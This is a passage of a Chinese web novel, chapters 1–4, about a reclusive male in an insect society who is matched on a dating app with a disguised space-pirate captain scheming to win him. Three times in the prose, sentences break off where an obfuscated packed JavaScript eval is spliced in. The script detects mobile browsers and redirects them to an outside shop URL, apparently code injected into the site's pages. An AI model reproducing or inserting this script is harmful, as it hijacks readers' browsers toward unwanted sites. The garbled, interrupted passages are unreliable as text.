《雌君想带球跑,不许》 1. 最后通牒(修) 1、 帝国第十二区审判庭。 高高的穹顶宛如坚不可摧的牢笼。 一片寂静。 冷白色的强光照射在庭下,将被告席的身影照得无处遁形。 银灰色的囚服裹着高大的身躯,镣铐在手腕间反射着金属的光泽。 法官宣读判词: “被告莱卡约,犯下走私贩私、抢劫、非法侵入信息系统罪等,数罪并罚,判处监禁一百二十年。” 法槌即将落下。 星盗莱卡约一脸平静,似乎坦然接受了自己的命运。 “等一下。” 有声音突然从侧门处响起,所有目光移到了那里。 一道高挑修长的身影推开侧门,站在阴影边缘。 他身姿笔挺,穿着一身浅灰色正装,足有鸽子蛋那么大的宝石胸针在阴影中都反射着耀眼的光芒,如同一柄精心雕琢过的优雅仪式剑,缓缓步入灯光之下。 蓬松的黑色卷发,五官瘦削,鼻梁高挺,原本应该是一张充满着艺术气息的俊美脸庞。只是他皮肤冷白,眼下发青,在那张精致的脸上浸上了一层化不开的阴郁,黏稠、近乎实质,好似从来未曾见过日光一般。 “法官阁下,抱歉打断了您的庭审。请允许我做一个自我介绍,我是B级雄虫哈德森,是这位……” 哈德森中断了片刻,继续说道: “这位星盗的雄主。我申请对他予以保释。” 法官礼貌询问道: “哈德森雄虫阁下,可以说明一下保释理由吗?” 哈德森没有看向被告席,只是平静的说: “他怀着我的孩子。是一个雄虫幼崽。” 瞬间,法官的呼吸都暂停了片刻,审判庭的观众席从寂静变得有些嘈杂。 “居然是雄虫幼崽!” “系外的星盗怎么会与中央星的雄虫有勾连?” “难道说这群该死的星盗潜入了中央星?” “他为什么要隐瞒怀孕的事?他不知道这样会害死肚子里的幼崽吗?!” …… 法官的视线转向被告席,落在莱卡约的小腹处。 “保释申请,准许。”他手中的法槌再次抬起,“保释期间,你需要对被告莱卡约实施全天候的行为监管,限制被告的活动范围,确保他不会进行任何违法行为。你是否知晓?” 哈德森重复道: “我已经知晓。” “鉴于被告犯下的重罪,保释期至被告莱卡约生育幼崽后六十日止。保释期满后,无特殊情况,剩余刑期将继续执行。你是否有意见?” “我没有意见。” 法槌终于落下,发出沉闷的撞击声。 两名警察上前给莱卡约配戴上了重刑犯专属的电击项圈,将他带回了关押的场所,准备后续的保释流程。 哈德森眼都不眨的签下保释合同,随后回到房间里,翻开书,安静等待狱警将莱卡约送到家。 屋子里还放着许多装饰品,就像一间再普通不过的温馨小屋。 但是回不去了。 这一切的开始就是一场精心设计好的骗局。 骗子将自身包装成美味诱人的饵料,等待着鱼儿咬钩。 他上钩了。 没错。 可吃到肚子里的饵料,怎么可能吐出来? 中央星已经废止了雌奴制度,只是保释期间的重刑犯不再受到法律保护,仅有最基本的生存权。 换而言之,他对骗子做什么都无妨。 他的手指抚过书页,在心里默念着晦涩的文字。 【不可轻易饶恕欺瞒者,因他必如蛇回身,再度咬伤你的脚跟。】 【不可任你所爱离去,若松手,他便踏入永不归来的旷野。】 【你所追求之物,必当奋力争夺。】 耳边似乎还有一道慵懒性感的声音响起,低语着: “不要逃避你的欲望,正视它,理解它,随后才能控制它。你渴望着我,不是吗?” 门铃声准时响起。 ** 几个月前。 “哈德森,看看你自己现在什么样子,大门不出,二门不迈的,像话吗?都说了,多出去走走。” 特里斯收拾好家里的杂物和垃圾,临行前不忘叮嘱。 哈德森神色恹恹,黑发贴着额头,像根烤蔫了的大茄子: “父亲,我出去干什么啊,没意思。” 但意料之中,特里斯没有止住话头,还在唠叨: “你以为现在的社会和以前一样,哪怕在家呆着都有优质雌虫主动送上门?现在九成雌虫都不结婚,你再这么宅下去,根本遇不到你的理想型。” 哈德森站在原地,大脑放空神游。 又来了,老套说辞,蓄力结束后就要切攻击模式了。 果然,特里斯越说越恼火: “我就不知道你怎么那么多要求,又要和你三观一致谈得来,又要见多识广,还愿意给你花钱,得他主动追求你,追求的过程中不能冒犯你的边界,侵占你的个人时间。而且……” 他捏着哈德森的脸,恨铁不成钢。 “你这邋遢样,都不收拾打扮自己,居然还好意思颜控!” 哈德森对自己的颜值颇有信心,浓眉大眼,个子高挑,只是现在比较宅,也懒得打扮,稍微扣了点分,但绝对属于明珠蒙尘,于是梗着脖子嘴硬道: “我当然好意思!要是长得不合我胃口,我找他干什么?每天光看着就心烦。” 说完,他看到特里斯的脸色,心道一声,不妙。 挑衅成功,怒气值正在暴涨中。 特里斯要切换第二形态,从语言攻击转变为物理攻击了。 “你……” 他正要说,楼下传来一声粗犷的声音。 “宝贝儿,好了吗?” 哈德森的耳朵一动,从蔫茄子光速转变为辣椒射手,带着火气问: “他怎么也来了?” 那道声音的主人是埃尔,哈德森的继雌父,一个野蛮无礼、高大强壮的退伍军雌。 他们两个的关系无比恶劣,当然,是哈德森单方面认为。 他永远忘不了埃尔在自己雌父的葬礼上,和雄父特里斯眉来眼去,之后没两个月就领了结婚证,堂而皇之地占据了他们的房间,没日没夜的亲亲我我,甚至不到两周时间,就怀上了虫崽。 哈德森认为埃尔在自己雌父病危时勾引了雄父,和埃尔大吵一架,用最恶毒的语言咒骂着这个家庭的新成员,随后离家自己租房生活。 那时他才十四岁,至今已经过去十年,他依旧没打算原谅埃尔。 “对,我们有些事情要办。” 特里斯没多说,继续之前的话题,下出最后通牒: “我不会再给你钱了,你自己想办法。” 哈德森万万没想到接下来会是这种发展,可怜兮兮地问: “爹!你这是什么意思……你要逼我卖身吗?” 特里斯并不买账,他已经下定了决心: “我给你四个选择。” 他伸出四根手指: “第一,收拾自己,主动去找一个符合你标准的雌虫结婚,将来靠他养你。 “第二,跟我回家,只要你愿意道歉,埃尔也可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013304|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养你。 “第三,你自己出去找份工作,雄虫找工作多简单,医院的精神抚慰科常年都在招人,你自食其力。 “当然,你也可以去申请政府最低补助,住廉租房里,够你基础的吃喝。但你那些乱七八糟的爱好就别想了。” 最后他张开手,轻轻拍在哈德森胸口上。 “你已经24岁,成年了,听懂没?我的话就说到这儿。” 哈德森低头,胸口那只手好像在把自己推开,嘟囔道: “你就是觉得我是个负担,不想管我了。” 特里斯深吸一口气,最后只留下一声叹息: “你什么时候能成熟一点?” 哈德森静静看着自己雄父瘦小的背影消失在走廊尽头,他通过念力感知着楼下细微的动静,“听”到埃尔在安慰他的雄父,聊起他们接下来准备去医院孕检,迎接新的小生命,随后是车辆发动的声音,渐渐远去。 他理解不了。 成熟是什么? 是雌君去世后,立刻拥抱一个新的雌虫吗? 他知道雌父去世后,家里只有两个雄虫,日子不好过,可是,哪怕等半年时间呢? 哈德森关上门,一种被抛弃的孤独感油然而生。 ** 这是雌多雄少的虫族社会,雌雄比例极度悬殊,种族数量常年负增长,相较全盛期已不足十分之一。 雌虫的身体强壮高大,后背生有一对宽大的膜翅,可以变身虫化,负责绝大多数基础的社会生产工作。 相对地,雄虫的身材瘦弱,力气偏小,没有可以飞行的翅膀,体力和移动能力都差很多。 雌虫普遍患有一种狂化病,会导致情绪不稳定、全身剧痛、寿命减少等等,只有依靠雄虫的念力安抚才能勉强缓解。 过去,雌虫与雄虫地位严重不平等。 为了维持种族繁衍,一个雄虫往往与多个雌虫组成大家庭,在家庭内部提供着念力安抚。 雌虫如果想要不再被狂化病折磨,往往需要竞争着稀少的雄虫资源,他们付出大量财产,长时间超负荷工作,导致病情加重,更需要雄虫的念力安抚,进入了恶性循环。 但随着几次改革,政府倡导保障雌虫基础生存权,将狂化病列入精神疾病的一种,由医院提供治疗,由政府统筹安排。 之后社会上又增加了许多偏向脑力劳动的职业,雌虫群体的狂化病程度普遍减轻,对雄虫的依赖减少了许多,大多数雌虫就成为了不婚主义,将时间与精力投入到工作中。 当时许多专家都认为,这种改革会导致种族数量快速下降,直至社会结构体系崩溃。 不过几十年时间,人口确实下降了很多,雌雄之间巨大的数量差距却慢慢缩小,社会整体氛围也不像过去那般压抑,婚姻观念也改变了许多,正常新生儿数量在缓步上升。 说不上是好是坏。 只是对于宅雄哈德森来说,是天大的坏事。 上天不会送给他一个有钱帅气、深情温柔、唯他马首是瞻的老婆了。 “明明很多小说里都写着,雄虫一直不结婚的话,系统会强制匹配雌虫,看上去背景普通,其实是权势滔天的隐藏大佬。或者是谁也不敢要的通缉犯雌虫,恶名昭彰,心狠手辣,实际却是渴望被抚摸的乖巧小狗。哪怕是被雄主嫌弃,伤痕累累,蜷缩在角落里努力讨好的卑微小狗也行啊。” 但现实是…… 门后的穿衣镜映照出一道颓废瘦高的身影。 黑色卷发乱糟糟的支棱着,遮挡住大半眉眼,眼下一片青黑,脸颊两侧向内凹陷,没有一点儿肉,薄薄的嘴唇干裂脱皮,看不出丝毫生命力。 2. 新手礼包 2、 哈德森踢踏着拖鞋走进房间,出租屋肉眼可见的整洁了许多,卧室窗帘拉开,下午的阳光在屋内划出几道倾斜的线条,温馨舒适。 他的心情却非常糟糕。 接下来该怎么办? 特里斯给的几个选择,看似很多,实际上能选的就两个。 首先,他不可能回家。那个家里已经没有他的立足之处,只是特里斯还认不清。如果埃尔真的愿意接纳他,当初也不会在他面前那般亲热。 领最低补助也不行,他还想给游戏充值,低保领的那点儿钱根本不够。 至于工作,哈德森用力挠头,不好的回忆涌上心头。 他刚搬出来的时候找过工作。 市面上雄虫的就业岗位很多,只要经过几天培训,就能去医院的抚慰科担任一名实习医生。高薪体面,朝九晚四,同事也基本是雄虫,不用担心职场骚扰。 他去了。 一开始都还不错,他年纪小,科室的雄虫前辈们都会照顾他,给他买些零食,遇到不好处理的患者帮忙解决。 但他那时太小,不懂人情世故,嘴也不甜,不知道对前辈们说几句好听的话。 没过一个月,他就隐约感受到一种微妙的氛围感。 直到有次在厕所,听到几个对他很友善的前辈在厕所里闲聊,说他没礼貌,见面都不打招呼,目中无人,小小年纪就很傲慢,不喜欢他。 之后他努力尝试和前辈们打招呼,却因为嘴笨,好几次叫错称谓,不仅没获得丝毫好感值,还被其他同事当成空气无视。 他破防辞职回家,不想出去工作。 接着他又尝试直播玩游戏。 他的脸皮薄,不好意思起一些有噱头的标题,比如“萌萌雄虫新手开播”、“辅助雄虫在线等大哥”这种,直播间就挂着默认的名称。 直播一开,他也不说话不打招呼,几个路过的观众看了眼就直接离去,唯一观看超过十分钟的留下一句锐评。 【菜狗玩得真屎】 加一个臭鸡蛋。 他再次破防下播,卸载直播软件。 后来他还尝试过拍视频做博主,除了光脑里多了几百个g的素材,没有任何一个成品诞生。 接着就是十年死宅生活。 哈德森瘫在椅子上,给为数不多的雄虫好友发信息求助。 【哈特梆硬:阿喵,我寄了。救救,急急急。】 【阿喵:?】 【哈特梆硬:我爹断了我生活费,逼我找雌虫结婚,或者出去工作。】 光脑响起视频通讯请求,哈德森下意识挂断,心虚地想: 干什么啊!哪怕是雄虫,也要有最基础的社交礼貌好吗?他发送的文字,这个时候也应该用文字回复。他根本没做好视频的心理准备。 【阿喵:……看来你也没多急。】 随即是三分钟的长语音。 哈德森听完,大概就是安慰了他两句,随后介绍了几个单身的雌虫,劝他稍微改一下标准。 其中有两个他之前就加过好友,根本聊不下去。 太无聊了。 每天就是,你吃了吗,在干什么,晚安,机械式重复。 其余两个大概也类似。 阿喵周围都是这款老式雌虫,样貌普通,性格沉稳老实。 当然,也就只有老式雌虫结婚意愿高,婚后也愿意把工资全都上交给雄虫。 难道他真要改变要求? 还不如出去工作呢。 哈德森不是单身主义雄虫,他只是做不到像雄父那样现实,再加上他对成年雄虫的那方面事情没想法,自然缺乏主动寻找雌虫的动力。 【哈特梆硬:算了,我还是出去找工作吧。】 【阿喵:你都二十四岁了,还不找,难道要做一辈子的和尚?要不先试试标记一个雌虫,说不定就有兴趣和雌虫一起生活了。】 和尚是最近流行小说里的一种职业,通过克制欲望来获得更强大的战力,雌虫都很喜欢这个设定。 【哈特梆硬:我说了,我对那种事没兴趣,真的很无聊。】 【阿喵:一般嘴上这么说的处,等开荤了吃得都很猛,不下床的吃。】 【阿喵:标记了一处嘴硬。】 【哈特梆硬:你放屁。和雌虫做那种事情只会占用我打游戏的时间。】 哈德森确实没有过那种想法。 那种事真的有意思吗? 很累啊。 怎么可能有残血反杀、连胜十把、段位升级、爆出金色装备来得爽? 【哈特梆硬:你懂什么叫做高学历游戏策划根据天性弱点精心设置的正反馈机制?】 【阿喵:你懂什么叫做基因为了传承下去精心设置的正反馈机制?以前雄虫可是会冒着失去生命的危险去繁衍,你对抗不了本能的。】 哈德森不想搭理他了。 阿喵现在变得和他的雄父一个模样。 他决定先去找个不需要人际交往的工作,等适应了再试试别的。 至于雌虫,阿喵那边指望不上。 他搜索雄虫就业岗位,很快跳出一个硕大的广告界面。 【桃花缘平台,助每一位雄虫大人找到最优质的情缘!】 “请问呢,为什么会有这样的搜索关联?” 其实仔细想想也能理解广告投放方的思路。 雄虫需要找工作,意味着他要么和一个水平很差的雌虫结婚,要么就是没结婚,也算是目标客户。 虽说时代改变了不少,大部分虫族的思维里,雄虫最理想的工作就是做雄主。 哈德森准备无视这条广告,下滑时却看到了几张图片。 最中间是一个醒目的雌虫,金色卷发,皮肤白皙,耳边坠着碧绿色的耳饰,微笑时散发出一股明媚自然的气息。 哈德森一眼就认出,这个雌虫衣着参考的初代雌虫大明星卡尔。 卡尔据说是S级雄虫的伴侣,也有传言说他和虫帝陛下有过绯闻,长相和身材都非常优越,穿搭也很时髦,经常出现在时尚杂志封面上。 哪怕已经隐退多年,也是很多雌虫模仿的对象。 哈德森自小看卡尔的广告长大,审美完全就是金发雌虫,原本没打算点开,看到这个广告也狠狠心动,手指诚实的点了上去。 “姑且算你有品,里面的雌虫最好也都是这个样子,不然我必投诉你虚假宣传。” 被大数据拿捏的一天。 点进去需要输入他的信息,他选择雄虫后,需要填写的内容不多,就几条。 【姓名: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013305|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈德森】 【年龄:24】 【受教育程度:基础义务教育】 【职业:暂时无业】 【居住地:第十二区上城区13号街】 详细的不能再写了,保护隐私。 下一个必填项是等级。 雌虫和雄虫都划分着基因等级。 从S级到D级五个等级,从上到下,数量递增。 雄虫可以安抚高自己两个等级的雌虫,一般匹配也会考虑这个问题。 哈德森是B级,虽然等级不算特别高,但整个中央星B级以上的雄虫才三万多个,与此相对,B级以上的雌虫几百万,哪怕九成雌虫不婚,他也不缺相亲的对象。 再考虑到S级雌虫最起码需要B级雄虫,他要是填了B级…… 岂不是要被烦死? 再加上哈德森有个毛病,他能在自己亲爹面前吹嘘自己牛得很,在陌生环境里根本不好意思夸赞自己的长处,哪怕只是陈述,他也张不开嘴。 一款对外老实内向,对内嚣张跋扈的雄虫。 【等级:C级】 他选了稳妥地选项,心里安慰自己: 对,他就不喜欢雌虫一开始接近自己是图等级,太功利了,这样能排除一些目的不纯的雌虫。 他要求的是灵魂契合。 【匹配喜好:金发碧眼,达到S级,7分以上颜值,身高188cm,体重小于70kg,年收入五百万以上,性格随和,主动引导型,付出意识强,愿意承担所有开支,并且会精心准备礼物,无不良嗜好,不接受有任何过往情史……】 填写完一篇小作文后,他看到匹配成功率有36%,心想,相三个就能成,稳了。 随后他彻底将找工作的事情抛之脑后,打开光脑开始猛猛匹配游戏。 倒霉的时候干什么都不顺利。 匹配连输三把后,他直接红温上头,打开充值界面狠狠氪金,升级武器装备。 他现在玩的这款多人对抗游戏以平衡为游戏卖点,充值并不能加强数值,只会加强外观,多一些粒子特效,击杀语音之类的。 但只要他的刀足够酷帅,那喷他菜狗的声音就会少很多。 原理未知。 大概是充值的氪金用户属于游戏高质量客户,会匹配同样高质量游戏群体吧。 等稍微平静一点,他发现自己的余额只够三天饭钱。 不好! 他点开桃花缘,心想应该有几百个雌虫排队等待他挑选吧。 里面空空如也,只有一条私信。 他矜持点开,心跳正因连跪而微微加速,大脑微醺。 他想,这就是缘分到了的征兆吗? 不过这个雌虫如果没礼貌,他依旧会拉黑。 里面是平台推送广告。 【夺宝游戏赢新手红包!拼手气瓜分亿万星币,赶快试试吧】 ??? 点开,666星*币*。 不多,不过也能解燃眉之急。 进行一连串无穷无尽的“手气真棒!马上提现!”后,他看到最后的页面显示: 【只需匹配成功一次即可提现哦~】 他把手机摔到一边,怒吼道: “那倒是给我一个匹配对象啊!” 3. 小猫尾巴 3、 中央星系一处偏远小行星背面。 这里可以连接上中央星的星域网,又足够隐蔽,很难被探测到,方便交易和补给,是星盗完美的落脚点。 血蝎子号已经在这里停泊了十天,一半走私货交易完毕,剩下货的还在物色买家,所有人都很清闲,和其他星盗挤在破旧狭窄的酒馆里一起刷视频吹牛聊天。 聊了会儿没有营养的浑话后,其他星舰的星盗意有所指地打听: “你们老大最近一到晚上就占了全频道线路,干什么呢,下h片也不能不管其他兄弟吧?” “就是就是,我连看小说都卡,太自私了吧。” 奎恩喝酒上头,听不得别的雌虫说自家老大坏话,一拍桌子: “什么h片,老大根本看不上雄虫,他正在攻破中央星官方服务器,蠢蛋,你懂什么叫做ID库的编辑权限吗?意味着我们老大可以堂堂正正地出现在中央星,没有任何破绽。” 酒馆顿时沸腾了。 “莱卡约要去中央星?他去干什么?” “他有什么计划?” “有大动作啊!他准备与中央星宣战吗?” 莱卡约是血蝎子号的舰长,一个传奇星盗。 大概六年前,他独自驾驶着一艘中型星舰来到中央星系外一处地下交易所,重金招募帮手。 谁都不知道他的来历,只觉得他蠢得要命,居然敢透露自己拥有着一艘星舰,像是哪里跑出来的富家少爷。 这里可不是中央星,没有法律约束,只有弱肉强食。 当时有不少手段肮脏的星盗把他当作肥羊,想要抢走他的星舰,却被狠狠收拾了一顿,挂在了交易所门口,其中不乏到达S级的强者。 而他则气定神闲地数着抢来的财宝,嬉笑着说: “还是这里好,大家说话好听,又很大方。感谢大自然的馈赠。” 手上拿着一笔巨款,又拥有着一艘星舰,还敢在地下交易所如此放肆,当晚自然有一大波雌虫去收拾他。 具体发生了什么没谁讨论,只知道第二天莱卡约找到地下交易所的幕后老大登门道歉,说自己不懂规矩,只懂得一点拳脚功夫,不好意思。 老大还想摆谱,被他的“一点”拳脚功夫收拾得鼻青脸肿,最后成了他的小弟之一。 也就是奎恩。 奎恩对莱卡约发自内心地崇拜。 不仅因为莱卡约的实力强悍,用一拳干碎了他的老大梦,更是因为莱卡约有着犀利的眼光,敏锐的洞察力。 六年时间,血蝎子号多次从军团的围剿行动中逃脱,靠的就是莱卡约的判断。 如果军团动真格的清剿,他绝对会提前避开,哪怕是花了大价钱建好的据点都会立刻舍弃。 但军团如果只是走过场,他又会偷摸跟在舰队后面,找几艘落单的星舰打秋风。 几年后,星盗们都快把血蝎子号当成预警器了。 所以其他星盗其实根本不在意网络究竟卡不卡,他们只想要知道,莱卡约占用频道线路究竟为了什么。 奎恩明显意识到自己说错了话,变得吞吞吐吐,闷了一大口酒后,说: “你们别管,总之这段时间这里很安全。” 周围的星盗还想问出什么,奎恩把酒杯砸在桌子上,愤愤地说: “好了!操,我得回去干活了!” “干什么活!你说清楚啊,奎恩,你这样可就没意思了!” 在一众嘘声中,他垂头丧气的回到血蝎子号上。 看到自己崇拜的老大手边放着厚厚几本书,正在刻苦钻研。看到他回来后,绷着脸问: “奎恩,你今天的目标完成了吗?” 奎恩小声嘟囔: “没有。” “我给你的任务很重吗?就筛选出三个目标,你连这点儿任务都完成不了?我可是对你寄予了厚望,大声告诉我,你能不能做到!” 奎恩莫名有些委屈: “不是做不做到的问题,我不知道做这件事的意义啊老大。” 莱卡约把手中的书丢到他面前,语重心长地说: “在历史上,每当我们的种族变得繁荣强大,都会突然爆发一场内战,整个虫族都被席卷其中,从数量到实力都大幅衰退。你知道为什么吗?” 奎恩的眼睛微微发亮: “老大,你的意思是,你觉得现在又到了繁荣期,未来局势可能会不稳定,所以你要提前做准备吗?” 他捡起手边的书,书的封面是几个熟悉的字,他都认识。 “不,我的意思是,很多事情就是没有理由。这本书我已经看完了,你想了解的话可以自己拿去看看。” 书名赫然是—— 《完美的孕前准备——一招教你怀上雄虫宝宝》 奎恩的天都要塌了: “老大,不是……你不是这样的雌虫啊!” 莱卡约翘着二郎腿坐在桌子上: “好,你对我已经有六分了解,接下来还需要多加努力,离百分还有九十四分,我看好你。对了,筛选目标现在需要添加一个新的条件,就是年龄小于三十岁,去吧。” 奎恩回到驾驶舱。 这里还坐着几个雌虫,正在对照着驾驶舱里的小黑板机械式的筛选着,一脸呆滞,已经麻木。 奎恩走上前,又添了一笔。 【年龄三十岁以下。】 前面依次写着: 【C级雄虫。 情感经历少。 缺爱。 可攻略性强。】 除了年龄和等级,奎恩实在不知道其他几个怎么判断。 他找到自己的位置坐下,抚摸着他心爱的座椅。 过去几年,他曾在这里操纵着星舰跨越星海,自由的穿梭于无垠的宇宙之中,与其他星盗对抗,与军团周旋。 此刻,却不得不在万联网上搜索着一些公开的雄虫账号,像偷窥狂一样视奸着雄虫的状态,筛选出可能符合的目标。 不行,这个不好看。 虫帝在上,这个雄虫看起来就不温柔。 哦,他需要强调一点。 筛选不出合适的对象,绝对不是因为他觉得这些雄虫配不上他崇拜的老大。 只是条件太笼统,他没办法把握而已。没错。 在他的表情也变得呆滞后,莱卡约踢开驾驶舱的门,说: “你们几个的结果呢?” 看到他们的表情,莱卡约一脸无奈,凑到奎恩的光脑屏幕前,随便打开了一个交友软件,随后打开筛选界面。 “这很简单啊,年龄、等级都是固定的,攻略难度可以通过受教育程度粗略推断,还可以参考他对雌虫有没有要求。越详细,就说明他对伴侣有不切实际的幻想。像这种‘三观一致,聊得来,家庭和睦’就不行。” 莱卡约向下一拉,找到一篇几百字的小作文,讲解一般说着: “你看这个,自己等级不高,但要求非常细,从心理学上,说明他内心已经有一个理想伴侣的模板,只要表面符合,他就会愿意接触,可攻略性很高。不信的话……” 莱卡约按照小作文的要求把资料改了改,点击匹配。 对面光速通过。 ** 哈德森怀疑这个匹配的雌虫是网站的托儿。 但无妨,他只是想领一下新手红包,管他什么样的。 点击匹配后,右下角出来一个弹窗。 【完成任务即可翻倍领取奖励哦!】 【任务:发送一条消息,和对面打个招呼吧~或许他就是你心仪的对象~】 翻倍! 1332星币! 看到那串数字,哈德森想起了自己刚氪进游戏里的钱,窘迫的钱包让他不得不放弃了雄虫的矜持。 【哈**:1。】 在相亲平台上,雄虫的信息保密程度高,雌虫刚开始都看不到,只能看到雄虫的匹配要求。 但雌虫的基本信息雄虫都能看。 哈德森迅速点开任务界面,上面赫然是个提示: 【发送内容过短,可能没办法了解对方呢。要不试试多写几个字?0/15字】 哈德森的脚趾已经抠地了。 15个字,这种要求太没礼貌了吧!谁一上来会和对面发送这么长的话,有话聊吗? 对面会不会觉得自己很神经啊? 对面此时回复: 【布伦丹:11。】 哈德森稍微松了口气,精神压力骤减。 【哈**:111111111111111。】 任务完成! 他再次点开任务界面,头顶已经轻微冒汗。 他知道自己这个行为很异常,对面不需要说什么,打一个“?”就足以让他破防。如果他的信息是公开的,他绝对不会这样做。 这次任务再敢说他的内容不符合要求,他绝对卸载! 【恭喜你,完成任务~】 【你想要现在领取1332星*币*,还是继续完成下一个任务,获得丰厚的奖励呢?】 【任务:聊天时间5分钟。你们可以初步了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013306|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方,开始培养感情基础哦~】 丰厚? 有多丰厚?如果只是翻倍,他可不愿意花时间聊天。 哈德森点开奖励界面,倒吸了一口气。 5000星*币*! 此时对面也回复了: 【布伦丹:222222222222222。】 “嘁,好神经啊。” 不过这个回答确实没有给哈德森精神上造成任何压力,反倒激起了他一丢丢的好胜心。 这个叫布伦丹的,第一次回复他,是从数量上战胜,第二次回复又是从数字大小入手,他得想个妙招。 聊天界面上有着5分钟的倒计时,但他如果不打字倒计时就不动。 思考一番后,他点击输入。 【哈**:■■■■■■■■■■■■■■■。】 【布伦丹:刮开。】 哈德森要笑死,刮什么啊,又不是彩票。 他劈里啪啦的输入。 【哈**:此处输入的内容正好为十五个字符。】 他的嘴角微微扬起,已经想象到对面认输的表情了。 【布伦丹:只是这样吗?难道说免费版本和付费版本不一样?】 【哈**:转我50看看实力。】 【布伦丹已向您转账999星币。】 【布伦丹:申请解锁付费vip内容。】 哈德森一下子精神了。 将近1000星币,虽然算不上特别多,但他们才聊几句就愿意转账,出手阔绰,真不错啊。 【哈**:想?看?粉?嫩?小?猫?尾?吗?】 雄虫在二次发育后,正常都会长出一条灵活的膜质尾勾,万联网上经常用小猫尾巴来代替尾勾,以免被审核还有雄保会的工作人员盯上。 【布伦丹:等等,不要发!会被封号的!】 哈德森直接发送过去一张小猫的照片。 【哈**:「小猫」】 对面沉默了下去。 他看到右上角的倒计时只剩下一分钟,在对话框里随便编辑着,很快就把倒计时糊弄结束了。 随后他再回到主界面,上面是【5000星*币*已到账!】的提示。 声音和游戏里开宝箱一样。 但到了提现界面,哈德森又看到了一个提示。 【抱歉~您的余额没有达到最低提现标准,还需要继续努力哦~】 【继续完成任务,即可获得大量奖励!】 …… “干什么啊,烦不烦!” 哈德森恶狠狠地关掉了任务界面,连具体是什么任务都没继续看。 只是那个名叫布伦丹的雌虫头像上有一个红点,提示他还没有查看资料信息。 作为红点强迫症患者,他难以忍受,顺手点开。 里面和求职简历差不多,填满了信息,右上角是一张很小的证件照。 铂金色的短发,发色很淡,很冷,隐约透着一种金属的光泽。 “这是什么,让我看看。” 哈德森眼前一亮,手指在屏幕上滑动,把照片放大。 布伦丹的脸部线条偏硬朗,颧骨微微突起,下颌角处转折宛如刀削般干脆利落,一直延伸到下巴处。 眉骨高且陡,在下方投出淡淡的阴影,看不清眼睛的颜色,但从轮廓能看出,他的眼睛比较大,眼角微微下垂,眼尾处还有一个不明显的小痣,中和了锋利冷峻的气质。 哈德森原本更倾向于精致完美、没有任何瑕疵的五官,布伦丹的长相虽帅,其实不在他的审美范围里。 就是这颗痣,偏偏点在了眼尾处。 正常雌虫在拍摄照片时,都会涂一层粉底,连脸上的瑕疵都遮盖严实,不可能露出痣、雀斑和伤疤之类的明显瑕疵。 而哈德森作为一个死宅雄虫,真正接触过的雌虫很少,基本都是看照片或者视频,他根本没见过脸上有痣的雌虫。 他的手指反复放大眼角那处,那颗小痣就好像破坏了照片原本的对称性,有种说不清道不明的味道。 他自言自语道: “怎么会有痣呢?太奇怪了。会不会是上传的照片不清晰,识别出问题了?” 他又仔细观察其他地方,很快发现布伦丹的脖子下方似乎也有一颗小痣,只是位置在衣领处,难以分辨。 越看他越觉得这照片太模糊,勾得他心痒难耐。 研究了半天,哈德森警惕地坐直身体,心想: 糟糕,盯着别人脖子看什么?不会觉醒什么奇怪的xp吧? 4. 有个朋友 4、 莱卡约没想到第一个匹配到的就是“人机”雄虫。 明明在匹配要求里写了那么丰富的内容,结果开始聊天后,每一句都是像在梦游,主打一个不知道在说什么。 眼瞅着自己小弟还在等待,他就硬着头皮讲解: “和雄虫聊天,切忌不要自说自话,以对方的节奏来。虽然他只发送了一个‘1’,但我们也不能冒昧的提问。” 几个雌虫小弟连连点头记笔记。 他们等将来攒够钱,或许也会金盆洗手,找个雄虫过踏实日子,提前学习一点经验非常重要。 “只要用一点小技巧,他就能和你一直沟通下去。重要的是,和对面产生共鸣。” 刚说完,对面发来了一长串“1”。 莱卡约从未见过这样的雄虫,秒点匹配的含金量大概就是这样吧。 他对雄虫不感兴趣,但是无聊时寻个乐子还是没问题的。 看到那句“转我50看看实力”,他是真笑了。 50。 对于一个雄虫来说,50星币连一杯劣质兑水蜜露都买不到,这能衡量什么实力? 说明一件事。 这个雄虫要么穷到极致,要么非常富有,已经不在意金钱了。 具体哪种情况,他只需要稍微试探。 转账999星币,对面光速接收。 莱卡约扬起嘴角。 很好,是前者。 只要有突破口,那可攻略性就大大提高了。 奎恩看到他一上来就这么大方,问: “老大,你要准备攻略他吗?” 莱卡约摇摇头,解释道: “只是试试。攻略雄虫一定要舍得投入,不然不可能有任何收获。雄虫的时间本身就有价值,不要小气。” 说完这句话,他看到了对面发的消息。 【哈**:想?看?粉?嫩?小?猫?尾?吗?】 那一瞬间,他闪过无数念头。 难道是专业出卖身体,或者倒卖资源的? 是雌虫伪装的雄虫,在相亲平台上诈骗? 